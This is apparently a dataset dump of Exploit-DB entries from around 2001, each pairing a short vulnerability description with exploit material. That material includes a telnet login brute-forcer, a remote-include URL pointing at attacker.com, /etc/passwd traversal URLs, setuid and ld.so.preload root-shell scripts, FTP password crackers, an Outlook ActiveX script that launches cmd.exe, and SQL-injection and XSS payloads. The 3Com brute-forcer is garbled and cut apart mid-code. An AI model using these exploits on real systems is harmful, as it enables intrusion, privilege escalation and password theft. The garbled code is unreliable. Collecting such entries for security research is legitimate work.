QLWD/code_shield huggingface dataset:
标题: SSH2 3.0 - Short Password Login EDB-ID: 21021 CVE: 2001-0553 类型: REMOTE 平台: UNIX 发布日期: 2001-07-21 漏洞利用脚本: source: https://www.securityfocus.com/bid/3078/info

An input validation error exists in version 3.0.0 of the SSH daemon (sshd) running on Unix platforms.

It may be possible for remote users to log in to accounts for which there are two or less characters in the password field of the system password file. Due to the nature of the problem, it may be possible to log in to a vulnerable system using such an account with any password. This may lead to further system compromise. 

#!/usr/bin/perl
#
# A local SSH 3.0.0 vulnerability scanner for the 
# SSH Short Password Login Vulnerability, BugtraqID: 3078
#
# Note: You must have superuser access on the system to scan it.
#
# usage: ./ssh3.pl <host>
#        Optional: -e turn off error
#                  -h specify a different /etc/shadow file
# (Options must come before host name)
# 
# Written by hypoclear hypoclear@jungle.net - http://hypoclear.cjb.net
#
# This and all of my programs fall under my disclaimer, which
# can be found at: http://hypoclear.cjb.net/hypodisclaim.txt


use IO::Socket; use Getopt::Std;
getopts('h:e');

die "\nusage: $0 <host>\n\tOptional: -e turn off error\n\t\t  -h specify a different /etc/shadow file\n\n" unless @ARGV > 0;
if (!defined $opt_h)
 { $opt_h = "/etc/shadow";
 }

$out = &bannerGrab($ARGV[0],22);
sysread $out, $message,100;
close $out;

if (($message =~ /3.0.0/) || (defined $opt_e))
 { print "Running SSH 3.0.0, checking for vulnerabilities...\n\n";
   open(SHADOW, "<$opt_h") || die "Cannot open $opt_h!\nNote: You must have superuser access to run this script.\n\n";
   while(<SHADOW>)
     { $name = $_;
       $name =~ s/:.*$//;
       $_ =~ s/^.*?\://;
       $_ =~ s/:.*$//;
       $name =~ s/\s//g; $_=~s/\s//g;
       push(@name,$name);
       push(@hash,$_);
       push(@lnnum,$cnt++); $cnt++;
     }
   close(SHADOW);

   foreach $hash (@hash)
     { @chars = split(//,$hash);
       foreach $char (@chars)
         { $count++;
         }
       if ($count <= 2)
        { print "$name[$line]\t(line $lnnum[$line]) may be vulnerable!\n";
          $vulnFlag = 1;
        }
       $count=0; $line++;
     }
   if ($vulnFlag != 1)
    { print "No accounts appear to be vulnerable.\n";
    }
 }
else
 { if (!defined $opt_e)
    { print "You are not running SSH 3.0.0.\n";
      die "If you feel that this is an error run with the -e option.\n";
    }
 }
print "\n";


sub bannerGrab
{ $host  = gethostbyname($_[0]) || warn "cannot connect to $ARGV[0]\n";
  $port  = getservbyport($_[1], 'tcp'); 
  $haddr = sockaddr_in($_[1], $host); 
  socket(OUT, PF_INET, SOCK_STREAM, getprotobyname('tcp')) || warn "$!\n"; 
  connect(OUT, $haddr) ;
  return OUT; 
} URL: https://www.exploit-db.com/exploits/21021
标题: 3Com SuperStack II PS Hub 40 - TelnetD Weak Password Protection EDB-ID: 21011 CVE: 2001-1291 类型: REMOTE 平台: HARDWARE 发布日期: 2001-07-12 漏洞利用脚本: source: https://www.securityfocus.com/bid/3034/info

A vulnerability exists in certain models of 3Com hubs and potentially other 3Com network products.

The affected devices fail to properly restrict the allowed number of login attempts to the inbuilt telnet-based administration interface from remote users. Attackers can use brute-force cracking techniques in obtaining access to 3Com telnetd config accounts.

Exploiting this, a malicious user can interfere with the device's operation and configuration, creating denials of service and further compromising the network on which the device is installed. 

#!/usr/bin/perl -w

#######################esponsible for any damgae caused  #
# by the###########################################
rf, chr(13), chr(10);

recv(SOCK,$ol,1,0);
$passwd,0); 
   }
   recv(SOCK,$ol,1,0);
 $i++
}
$i=1;
}
print "\n\nIt's sad but true, you failed.\n";
}


print "\n3Com Hardware Telnet Login Cracker, written by Siberian \- Sentry Research Labs\n\n";
print "Get the latest Version at www.sentry-labs.com\n\n [target host] [dictionary] (username)";
$us= inet_aton($remote) or die "No target host computer found!";
$paddr = sockaddr_in(23, $iesspass();

close(FILE1);
close(SOCK);
exit 0; URL: https://www.exploit-db.com/exploits/21011
标题: PHPLib Team PHPLIB 7.2 - Remote Script Execution EDB-ID: 21022 CVE: 2001-1370 类型: WEBAPPS 平台: PHP 发布日期: 2001-07-21 漏洞利用脚本: source: https://www.securityfocus.com/bid/3079/info

The PHP Base Library('PHPLIB') is a code library which provides support for session management in web applications. It is targeted to developers and is widely used in many web applications, so a strong possibility exists that an application may be using it without the knowledge of the administrator. 

A problem in PHPLIB will allow remote attackers to submit malicious input in web requests that will cause the application to fetch and then execute scripts from another host.

This may allow for attackers to gain local access to the webserver.

If $_PHPLIB[libdir] is a string whose value
is "http://attacker.com/", this instruction will be executed:

require("http://attacker.com/" . "db_mysql.inc");

Thus, simply crafting a URL like:

http://victim.com/any/phplib/page.php?_PHPLIB[libdir]=http://attacker.com/

will make the script 'page.php'(which the attacker knows is based on the PHPLIB toolkit) include and execute any arbitrary php instruction contained in a file named 'db_mysql.inc'. URL: https://www.exploit-db.com/exploits/21022
标题: Interactive story 1.3 - Directory Traversal EDB-ID: 21008 CVE: 2001-0804 类型: REMOTE 平台: CGI 发布日期: 2001-07-15 漏洞利用脚本: source: https://www.securityfocus.com/bid/3028/info

Interactive Story is a web-based application written in Perl and is distributed as freeware.

Interactive Story does not filter '../' sequences from user input submitted to a hidden file called 'next'. Remote attackers may take advantage of this by crafting URLs that allow them to break out of webroot and view arbitrary web-readable files.

The disclosed information may be used in further attacks on the host. 

If an attacker sets the "next" field to something like
../../../../../../../../../../etc/passwd%00, Interactive Story will open and display the password file. URL: https://www.exploit-db.com/exploits/21008
标题: XFree86 X11R6 3.3.2 XMan - ManPath Environment Variable Buffer Overflow EDB-ID: 21010 CVE: 2001-1178 类型: LOCAL 平台: LINUX 发布日期: 2001-06-11 漏洞利用脚本: source: https://www.securityfocus.com/bid/3030/info

xman is a component included with the XFree86 Window System.

A buffer overflow in the handling of the MANPATH environment variable by xman makes it possible for a local user to execute arbitrary code. By inserting 70000 characters into the MANPATH variable, it is possible to overwrite stack variables, including the return address. xman is SGID man.

This problem makes it possible for a local user to execute arbitrary code, gaining elevated privileges, and potentially root access. 

#!/bin/sh
# example of xman exploitation. xman
# supports privileges.  but, never
# drops them.
# Vade79 -> v9@realhalo.org -> realhalo.org.
MANPATH=~/xmantest/
mkdir -p ~/xmantest/man1
cd ~/xmantest/man1
touch ';runme;.1'
cat << EOF >~/xmantest/runme
#!/bin/sh
cp /bin/sh ~/xmansh
chown `id -u` ~/xmansh
chmod 4755 ~/xmansh
EOF
chmod 755 ~/xmantest/runme
echo "click the ';runme;' selection," \
"exit.  then, check for ~/xmansh."
xman -bothshown -notopbox
rm -rf ~/xmantest URL: https://www.exploit-db.com/exploits/21010
标题: Check Point Firewall-1 4 Securemote - Network Information Leak EDB-ID: 21015 CVE: 2001-1303 类型: REMOTE 平台: HARDWARE 发布日期: 2001-07-17 漏洞利用脚本: source: https://www.securityfocus.com/bid/3058/info

SecureRemote is the proprietary VPN infrastructure designed by Check Point Software, and included with some versions of Firewall-1.

A problem with the package allows remote users to gain information about internal networks. Older versions of the package send network topology information to SecureRemote connections prior to authentication, allowing an information gathering attack. 

#!/usr/bin/perl
# A Command-line tool that can be used to download network Topology
# from Firewall-1's running SecureRemote, with the option "Allow un
# authenticated cleartext topology downloads".
# Usage sr.pl IP
# Haroon Meer & Roelof Temmingh 2001/07/17
# haroon@sensepost.com - http://www.sensepost.com

use Socket;
if ($#ARGV<0) {die "Usage: sr.pl IP\n";}

$port=256;
$target=inet_aton($ARGV[0]);
print "Testing $host on port $port\n";

$SENDY="410000000259052100000004c41e43520000004e28746f706f6c6f67792d726571756573740a093a63616e616d6520282d53656e7365506f73742d646f74
636f6d2d290a093a6368616c6c656e67652028633265323331383339643066290a290a00";
$SENDY = pack("H*",$SENDY);

@results=sendraw($SENDY);

if ($#results == 0) {
 print "No results on port 256 - trying 264\n";
 $port=264;
 @results2=sendraw($SENDY); 
 if ($#results2 == 0) {die "Sorry - no results\n";}
} else {print @results;}

sub sendraw {
 my ($pstr)=@_;
 socket(S,PF_INET,SOCK_STREAM,getprotobyname('tcp')||0) || die("Socket problems\n");
 if(connect(S,pack "SnA4x8",2,$port,$target)){
  my @in;
  select(S);      $|=1;   print $pstr;
  while(<S>){ push @in, $_;}
  select(STDOUT); close(S); return @in;
 } else { return ""; }
}
# Spidermark: sensepostdata fw1 URL: https://www.exploit-db.com/exploits/21015
标题: ArGoSoft FTP Server 1.2.2.2 - Weak Password Encryption EDB-ID: 21009 CVE: 2001-1142 类型: REMOTE 平台: WINDOWS 发布日期: 2001-07-12 漏洞利用脚本: // source: https://www.securityfocus.com/bid/3029/info

ArGoSoft FTP server is an FTP server for the Windows platform.

A design error exists in ArGoSoft FTP which enables an authenticated user to view other users encrypted passwords. However due to a weak encryption scheme it is possible for a user to decrypt the password using a third party utility. 

/********************************************************************

 * agscrack.c - ArGoSoft FTP Server 1.2.2.2 password file cracker   *

 * by [ByteRage] <byterage@yahoo.com> [http://www.byterage.cjb.net] *

 ********************************************************************/



#include <string.h>

#include <stdio.h>



int len; FILE *fh;



/* DECRYPTION ALGORITHMS */

unsigned char char2bin(unsigned char inbyte) {

  if ((inbyte >= 'A') && (inbyte <= 'Z')) { len++; return(inbyte-'A');
}

  if ((inbyte >= 'a') && (inbyte <= 'z')) { len++;
return(inbyte-'a'+26); }

  if ((inbyte >= '0') && (inbyte <= '9')) { len++; return(inbyte+4); }

  if (inbyte == '+') { len++; return('\x3E'); }

  if (inbyte == '/') { len++; return('\x3F'); }

  return('\x00');

}

void decode(unsigned char chars[], unsigned char bytes[]) {

  int i,retval=0;

  for(i=0; i<4; i++) { retval <<= 6; retval |= char2bin(chars[i]); }

  for(i=0; i<3; i++) { bytes[2-i] = retval & 0xFF; retval >>= 8; }

  len--;

}

void decryptpass(unsigned char encrypted[], unsigned char decrypted[])
{

  const unsigned char heavycrypt0[] =
"T3ZlciB0aGUgaGlsbHMgYW5kIGZhciBhd2F5LCBUZWxldHViYmllcyBjb21lIHRvIHBsYXk
=";

  unsigned int j, k=0, l;

  len = 0;

  for(j=0; j<strlen(encrypted); j+=4) {

    decode(&encrypted[j], &decrypted[k]);

    for(l=0; l<3; l++) { decrypted[k] ^= heavycrypt0[k++]; }

  }

  decrypted[len] = '\x00';

}

/* DECRYPTION ALGORITHMS END */



void main(int argc, char ** argv) {

  char password[128]; /* ArGoSoft's passwords don't get larger than 128
bytes */

  char buf[256]; char b;

  int rd;



  printf("ArGoSoft FTP Server 1.2.2.2 password file cracker by
[ByteRage]\n\n");

  if (argc<2) { printf("Syntax : %s <password(file)>\n", argv[0]);
return 1; }

  

  fh = fopen(argv[1], "rb");

  if (!fh) {

    decryptpass(argv[1], &password);

    printf("%s -> %s\n", argv[1], password);

    return 0;

  } else {

    /* simple password file processor */

    fread(&buf,1,1,fh);

    if (buf[0] == 4) {

      while (1) {

        if (fread(&b,1,1,fh) == 0) { break; }

        if (fread(&buf,1,b+1,fh) == 0) { break; }

        printf("%s : ", buf);

        b=0; while(!b) if (fread(&b,1,1,fh) == 0) { break; }

        if (fread(&buf,1,b+1,fh) == 0) { break; }

        decryptpass(&buf, &password);

        printf("%s -> %s\n", &buf, password);

        b=0; while(!b) if (fread(&b,1,1,fh) == 0) { break; }

        if (fread(&buf,1,b+1,fh) == 0) { break; }

        b=0; while(b!=4) if (fread(&b,1,1,fh) == 0) { break; }

      }

    } else printf("error when processing passwordfile!");

    fclose(fh);  

  }

} URL: https://www.exploit-db.com/exploits/21009
标题: NetWin DMail 2.x / SurgeFTP 1.0/2.0 - Weak Password Encryption EDB-ID: 21020 CVE: 2001-1354 类型: LOCAL 平台: MULTIPLE 发布日期: 2001-07-20 漏洞利用脚本: // source: https://www.securityfocus.com/bid/3075/info

The Netwin Authentication module, or NWAuth, is an external authentication module used by several Netwin products.

A simple one-way hash function is used by NWAuth to perform password encryption operations. As a result, it is trivial for an attacker to compose a list of possible plaintext values or perform some other brute force attack against the data encrypted using the scheme. 

/********************************************************************
 * nwauthcrack.c - NetWin Authentication Module password cracker    *
 * the SurgeFTP encrypted passwords can be found in the admin.dat & *
 * nwauth.clg files in the nwauth.exe directory                     *
 * by [ByteRage] <byterage@yahoo.com> [http://www.byterage.cjb.net] *
 ********************************************************************/

#include <string.h>
#include <stdio.h>

FILE *fh;
/* the following table indices refer to the characters our
   generated password may consist of (true/false), since
   we don't want to go into too much trouble when typing
   everything in :) */
const char okaychars[256] = {
0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,
0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,
0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,
1,1,1,1,1,1,1,1,1,1,0,0,0,0,0,0,
0,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,
1,1,1,1,1,1,1,1,1,1,1,0,0,0,0,0,
0,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,
1,1,1,1,1,1,1,1,1,1,1,0,0,0,0,0,
0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,
0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,
0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,
0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,
0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,
0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,
0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,
0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,
};

/* DECRYPTION ALGORITHMS */
int enumpwds(unsigned char encrypted[]) {
  int heavycrypt0;
  unsigned int num=0, i, x;
  unsigned char j[256], decrypted[256];
  for(i=0; i<256;i++) { j[i] = 0; }
brute:
  heavycrypt0 = (unsigned char)encrypted[1]*255+(unsigned char)encrypted[0];
  for(i=0; i+2 < strlen(encrypted); i++) {
    for(x=j[i]; x < 256; x++) {
   if ((x * (heavycrypt0+1) % 40 == (encrypted[i+2]-0x41)) & okaychars[x]) {
     decrypted[i] = x;
  break;
   }
    }
 if (x == 256) {
next:
   if (i == 0) return num;
   if (j[i-1] < 256) { j[i-1] = decrypted[i-1]+1; x = i; } else { i--; goto next; }
   for (i=x; i < 256; i++) { j[i] = 0; }
   goto brute;
 }
 heavycrypt0 += x; heavycrypt0 *= 3; heavycrypt0 %= 0x7D00;
  }
  decrypted[i] = '\x00';
  num++;
  printf("%s\n", decrypted);  
  if (j[i-1] < 256) { j[i-1] = decrypted[i-1]+1; x = i; } else { i--; goto next; }
  for (i=x; i < 256; i++) { j[i] = 0; }
  goto brute;
}
/* DECRYPTION ALGORITHMS END */

void main(int argc, char ** argv) {
  char buf[256]; int k, l;

  printf("NetWin Authentication Module password cracker by [ByteRage]\n\n");
  
  if (argc < 2) { printf("Syntax : %s <password>\n", argv[0]); return; }
  printf("%s ->\n",argv[1]);
  
  printf("\n%d passwords found for %s\n",enumpwds(argv[1]),argv[1]);
} URL: https://www.exploit-db.com/exploits/21020
标题: Apache 1.3 - Directory Index Disclosure EDB-ID: 21002 CVE: 2001-0731 类型: REMOTE 平台: MULTIPLE 发布日期: 2001-07-10 漏洞利用脚本: source: https://www.securityfocus.com/bid/3009/info

A possible vulnerability exists in Apache that could cause directory contents to be disclosed when directory indexing is enabled, despite the presence of an 'index.html' file.

The problem is likely the result of an error in "multiview" functionality provided as part of Apache's content negotiation support. Exploitation of this problem may lead to the dislosure of sensitive information to attackers. 

http://target-webserver/?M=A
http://target-webserver/?S=D URL: https://www.exploit-db.com/exploits/21002
标题: Samsung ml85p Printer Driver 1.0 - Insecure Temporary File Creation (3) EDB-ID: 21001 CVE: 2001-1177 类型: LOCAL 平台: HARDWARE 发布日期: 2001-07-10 漏洞利用脚本: source: https://www.securityfocus.com/bid/3008/info
  
ml85p is a Linux driver for Samsung ML-85G series printers. It may be bundled with distributions of Ghostscript.
  
ml85p does not check for symbolic links when creating image output files.
  
These files are created in /tmp with a guessable naming format, making it trivial for attackers to exploit this vulnerability.
  
Since user-supplied data is written to the target file, attackers may be able to elevate privileges.

https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/21001.tar.gz URL: https://www.exploit-db.com/exploits/21001
标题: Microsoft Outlook 98/2000/2002 - Unauthorized Email Access EDB-ID: 21003 CVE: 2001-0538 类型: REMOTE 平台: WINDOWS 发布日期: 2001-07-12 漏洞利用脚本: source: https://www.securityfocus.com/bid/3025/info

Microsoft Outlook introduces a vulnerability that may allow attackers to access and manipulate user email.

The vulnerability is due to a new ActiveX control called 'Microsoft Outlook View Control'. The flaw is that this control is marked 'safe for scripting' when it should not be. It is therefore accessible by scripts.

Scripts can access and perform operations on user email through this control without user knowledge or consent. 

This assumes you have at least one message in Outlook XP's Inbox
<br>
<object id="o1"
classid="clsid:0006F063-0000-0000-C000-000000000046"
>
<param name="folder" value="Inbox">
</object>

<script>
function f()
{
//alert(o2.object);
sel=o1.object.selection;
vv1=sel.Item(1);
alert("Subject="+vv1.Subject);
alert("Body="+vv1.Body+"["+vv1.HTMLBody+"]");
alert("May be deleted");
//vv1.Delete();

vv2=vv1.Session.Application.CreateObject("WScript.Shell");

alert("Much more fun is possible");


vv2.Run("C:\\WINNT\\SYSTEM32\\CMD.EXE /c DIR /A /P /S C:\\ ");

}
setTimeout("f()",2000);
</script> URL: https://www.exploit-db.com/exploits/21003
标题: Admidio 2.3.5 - Multiple Vulnerabilities EDB-ID: 21005 CVE: 2012-4749 2012-4748 类型: WEBAPPS 平台: PHP 发布日期: 2012-09-02 漏洞利用脚本: Advisory:  Admidio 2.3.5 Multiple security vulnerabilities
Advisory ID:  SSCHADV2012-019
Author:   Stefan Schurtz
Affected Software: Successfully tested on Admidio 2.3.5
Vendor URL:  http://www.admidio.org/
Vendor Status:  fixed

==========================
Vulnerability Description
==========================

Admidio 2.3.5 is prone to XSS and SQLi vulnerabilities

==================
PoC-Exploit
==================

//SQLi

http://[target]/admidio-2.3.5/adm_program/modules/lists/lists.php?active_role=[sql-injection]

//XSS

http://[target]/admidio-2.3.5/adm_program/modules/guestbook/guestbook_new.php?headline=" onmouseover=alert(/xss/) "

=========
Solution
=========

Upgrade to the latest version 2.3.6

====================
Disclosure Timeline
====================

21-Aug-2012 - developer informed
21-Aug-2012 - feedback from developer
28-Aug-2012 - fixed in version 2.3.6

========
Credits
========

Vulnerabilities found and advisory written by Stefan Schurtz.

===========
References
===========

http://www.admidio.org/forum/viewtopic.php?t=5108
http://www.darksecurity.de/advisories/2012/SSCHADV2012-019.txt URL: https://www.exploit-db.com/exploits/21005
标题: Cobalt Qube Webmail 1.0 - Directory Traversal EDB-ID: 20995 CVE: 2001-1408 类型: WEBAPPS 平台: PHP 发布日期: 2001-07-05 漏洞利用脚本: source: https://www.securityfocus.com/bid/2987/info

Cobalt Qube is an fully-featured network "server appliance".
It includes pre-installed tools and applications and can be put online with very little configuration.

A vulnerability in Cobalt Qube's webmail implementation allows remote attackers to traverse directories. Malformed HTTP requests can be crafted to display sensitive information about the host. 

http://YOURCOBALTBOX:444/base/webmail/readmsg.php?mailbox=../../../../../../../../../../../../../../etc/passwd&id=1 URL: https://www.exploit-db.com/exploits/20995
标题: Samsung ml85p Printer Driver 1.0 - Insecure Temporary File Creation (2) EDB-ID: 21000 CVE: 2001-1177 类型: LOCAL 平台: HARDWARE 发布日期: 2001-07-10 漏洞利用脚本: source: https://www.securityfocus.com/bid/3008/info
 
ml85p is a Linux driver for Samsung ML-85G series printers. It may be bundled with distributions of Ghostscript.
 
ml85p does not check for symbolic links when creating image output files.
 
These files are created in /tmp with a guessable naming format, making it trivial for attackers to exploit this vulnerability.
 
Since user-supplied data is written to the target file, attackers may be able to elevate privileges.

#!/bin/sh
# Exploit using /usr/bin/ml85p default setuid program on 
# Mandrake Linux 8.0
#
# You need to be in the sys group to be able to execute 
# ml85p.

echo "** ml85p exploit"
# set the required umask
umask 0

# get the number of seconds since 1970
DATE=`date +"%s"`
if [ ! -u /usr/bin/ml85p ] || [ ! -x /usr/bin/ml85p ]
then
 echo "** this exploit requires that /usr/bin/ml85p is setuid and 
executable."
 exit 1
fi

if [ ! -e /etc/ld.so.preload ] || [ ! -w /etc/ld.so.preload ]
then
 echo "** this exploit requires that /etc/ld.so.preload does not exist."
 exit 1
fi

echo "** creating file"
ln -s /etc/ld.so.preload /tmp/ml85g"$DATE"
echo "bleh" | /usr/bin/ml85p -s
rm /tmp/ml85g"$DATE"

echo "** creating shared library"
cat << _EOF_ > /tmp/g.c
int getuid(void) { return(0); }
_EOF_

echo "** compiling and linking shared object"
gcc -c -o /tmp/g.o /tmp/g.c
ld -shared -o /tmp/g.so /tmp/g.o
rm -f /tmp/g.c /tmp/g.o

echo "** rigging ld.so.preload"
echo "/tmp/g.so" > /etc/ld.so.preload
echo "** execute su. warning all getuid() calls will return(0) until you remove"
echo "** the line \"/tmp/g.so\" from /etc/ld.so.preload. removing /tmp/g.so 
without"
echo "** first fixing /etc/ld.so.preload may result in system malfunction"
su -
echo "** cleaning up"
> /etc/ld.so.preload
rm -f /tmp/g.so URL: https://www.exploit-db.com/exploits/21000
标题: Cobalt Raq3 PopRelayD - Arbitrary SMTP Relay EDB-ID: 20994 CVE: 2001-1075 类型: REMOTE 平台: LINUX 发布日期: 2001-07-04 漏洞利用脚本: source: https://www.securityfocus.com/bid/2986/info

poprelayd is a script that parses /var/log/maillog for valid pop logins, and based upon the login of a client, allows the person logged into the pop3 service to also send email from the ip address they're accessing the system with.

poprelayd doesn't authenticate output to the /var/log/maillog file. This makes it possible for a user to create an arbitrary string via sendmail that will be logged to the file, thus allowing a remote user to relay mail through the SMTP server. 

telnet dumbcobalt 25
Trying 123.123.123.123...
Connected to dumbcobalt
...
ehlo dumbcobalt
...
mail from:"POP login by user "admin" at (66.66.66.66) 66.66.66.66
@linux.org"
553 "POP login by user "admin" at (66.66.66.66) 66.66.66.66
@linux.org"...Domain name required URL: https://www.exploit-db.com/exploits/20994